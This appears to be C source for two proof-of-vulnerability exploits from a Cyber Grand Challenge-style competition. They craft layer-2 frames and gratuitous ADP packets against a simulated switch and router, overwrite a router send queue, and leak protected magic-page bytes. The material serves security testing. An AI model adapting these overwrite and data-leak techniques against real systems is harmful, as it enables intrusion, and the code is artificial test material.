int main(void) {
unsigned int type2_addr;
unsigned int type2_size;
unsigned int type2_length;
unsigned char Frame[MAX_FRAME_SIZE];
uint8_t Len;
uint8_t EchoLen;
pL2Hdr pL2 = (pL2Hdr)Frame;
uint8_t i;
// negotiate a Type2 POV with the Competition Framework
NegotiateType2Pov(&type2_addr, &type2_size, &type2_length);
// send a normally routed packet to build the L2 CAM tables in cb_switch
bzero(Frame, MAX_FRAME_SIZE);
BuildL4Segment(ECHO_L4ADDR, 0x41, (unsigned char *)"AA", 2, Frame);
BuildL3Packet(0x0a010202, 0x0a010102, Frame);
EchoLen = BuildL2Frame(0x0001, 0x1000, 0, Frame);
SendBytes(STDOUT, Frame, EchoLen);
// receive the ADP request that the router will generate when trying
// to send back the echo response packet
bzero(Frame, MAX_FRAME_SIZE);
ReadBytes(STDIN, Frame, 19);
// answer the ADP request
bzero(Frame, MAX_FRAME_SIZE);
Len = BuildAdpResponse(0x0a010102, 0x1000, 0x0001, 0x1000, 0, Frame);
SendBytes(STDOUT, Frame, Len);
// read the echo response
bzero(Frame, MAX_FRAME_SIZE);
ReadBytes(STDIN, Frame, EchoLen);
for (i = 0; i < 4; i++) {
// send a pwdgen request to cb_3 bypassing the router
// use src L2 addr with 00 for last two bits
bzero(Frame, MAX_FRAME_SIZE);
BuildL4Segment(PWDGEN_L4ADDR, 0x41, (unsigned char *)"AA", 2, Frame);
BuildL3Packet(0x0a010202, 0x0a010102, Frame);
Len = BuildL2Frame(0xaaaa, 0x1000+i, 2, Frame);
SendBytes(STDOUT, Frame, Len);
// receive the pwdgen response
// read in the L2hdr first
ReadBytes(STDIN, Frame, L2_HDR_LEN);
// read in the rest of the Frame
ReadBytes(STDIN, Frame+L2_HDR_LEN, pL2->Len);
// Parse the pwdgen response
ParsePwdgenResponse(Frame, 4+i);
}
// send the recovered page bytes to the competition framework
SendBytes(FRAMEWORK, decoded_magic_page+4, 4);
}
int main(void) {
unsigned int type2_addr;
unsigned int type2_size;
unsigned int type2_length;
unsigned char Frame[MAX_FRAME_SIZE];
uint8_t Len;
uint8_t EchoLen;
pL2Hdr pL2 = (pL2Hdr)Frame;
uint8_t i;
fd_set readfds;
int readyfds;
struct timeval timeout;
unsigned char *magic_bytes;
// negotiate a Type2 POV with the Competition Framework
NegotiateType2Pov(&type2_addr, &type2_size, &type2_length);
// force the pov to sleep letting the router and cb_3 processes
// exchange their echo packets so that SendQueue[0] has the desired
// Frame data
FD_ZERO(&readfds);
FD_SET(STDIN, &readfds);
timeout.tv_sec = 2;
timeout.tv_usec = 0;
fdwait(STDIN+1, &readfds, NULL, &timeout, NULL);
// send 13 gratuitous ADP packets for different L3Addr's
uint32_t L3Addr = 0x0a010110;
for (i = 0; i < 13; i++, L3Addr++) {
bzero(Frame, MAX_FRAME_SIZE);
Len = BuildAdpResponse(L3Addr, 0x1001, 0x0001, 0x1000, 0, Frame);
SendBytes(STDOUT, Frame, Len);
}
// send one more ADP which will overwrite SendQueue[0]
//
// the L3addr of the ADP header should point to a L3Addr that
// has been previously populated in the router's ADP cache
//
// the L2Addr of the ADP header should overwrite the 1-byte Valid
// with a non-zero value and the 1-byte Age field with 0xfe.
bzero(Frame, MAX_FRAME_SIZE);
Len = BuildAdpResponse(0x0a010102, 0x0001, 0x0001, 0x1000, 0, Frame);
// ^ ^
// Age| |Valid
SendBytes(STDOUT, Frame, Len);
// Send enough packets to the original L3Addr we populated in the router's
// ADP to cause it to age out.
// The router will forward it back to VLAN 1, but to an unknown unicast L2Addr
// so the switch will drop it
for (i = 0; i < 8; i++) {
bzero(Frame, MAX_FRAME_SIZE);
BuildL4Segment(ECHO_L4ADDR, 0x41, (unsigned char *)"AA", 2, Frame);
BuildL3Packet(L3Addr-1, 0x0a010102, Frame);
EchoLen = BuildL2Frame(0x0001, 0x1000, 0, Frame);
SendBytes(STDOUT, Frame, EchoLen);
}
// Finally, create ADP entry for the addr we over-wrote
// allowing the queued packet to be sent
bzero(Frame, MAX_FRAME_SIZE);
Len = BuildAdpResponse(0x0a010102, 0x1000, 0x0001, 0x1000, 0, Frame);
SendBytes(STDOUT, Frame, Len);
// cgc_read in the ADP frame that'll be sent before the target frame
bzero(Frame, MAX_FRAME_SIZE);
ReadBytes(STDIN, Frame, sizeof(L2Hdr)+sizeof(L2Adjacency)+4);
// see if we have a packet to cgc_read
FD_ZERO(&readfds);
FD_SET(STDIN, &readfds);
timeout.tv_sec = 2;
timeout.tv_usec = 0;
if (fdwait(STDIN+1, &readfds, NULL, &timeout, &readyfds) != 0) {
SendBytes(STDOUT, (unsigned char *)"diedie!", 7);
bzero(Frame, MAX_FRAME_SIZE);
SendBytes(FRAMEWORK, Frame, 4);
_terminate(0);
}
if (readyfds == 0) {
SendBytes(STDOUT, (unsigned char *)"diedie!", 7);
bzero(Frame, MAX_FRAME_SIZE);
SendBytes(FRAMEWORK, Frame, 4);
_terminate(0);
}
// cgc_read the forwarded frame
bzero(Frame, MAX_FRAME_SIZE);
ReadBytes(STDIN, Frame, sizeof(L2Hdr)+sizeof(L3Hdr)+sizeof(L4Hdr)+4+4);
// send the recovered page bytes to the competition framework
magic_bytes = Frame+sizeof(L2Hdr)+sizeof(L3Hdr)+sizeof(L4Hdr);
SendBytes(FRAMEWORK, magic_bytes, 4);
}
